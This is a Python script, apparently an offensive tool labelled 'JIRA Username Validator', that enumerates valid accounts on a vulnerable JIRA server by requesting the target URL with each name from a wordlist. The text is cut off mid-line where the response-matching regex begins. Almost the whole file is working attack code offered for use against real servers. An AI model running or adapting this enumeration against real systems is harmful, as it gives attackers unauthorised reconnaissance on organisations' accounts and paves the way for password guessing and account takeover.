import argparse, requests, re, sys def get_arguments(): parser = argparse.ArgumentParser() parser.add_argument("-u", "--url", dest="url", help="url to vulnerable JIRA server", type=str) parser.add_argument("-w", "--wordlist", dest="wordlist", help="wordlist with usernames to test") parser.add_argument("-o", "--output-file", dest="output", help="output file for results, if none specified it outputs to console") args = parser.parse_args() if not args.url: parser.error("Please specify a vulnerable JIRA server") if not args.wordlist: parser.error("[-] Please Specify a wordlist containing usernames") if args.output: global bool_outputfile bool_outputfile = True return args def show_banner(): print("""\n +-+-+-+-+ +-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+ |J|I|R|A| |U|s|e|r|n|a|m|e| |V|a|l|i|d|a|t|o|r| +-+-+-+-+ +-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+ made by rival23\n """) def show_arguments(options): wordlist = options.wordlist print("vulnurl = " + options.url) print("wordlist = " + wordlist) print("") def exploit(options): f = open(options.wordlist, "r") for username in f: r = requests.get(options.url + username.strip('\n')) pattern = re.compile('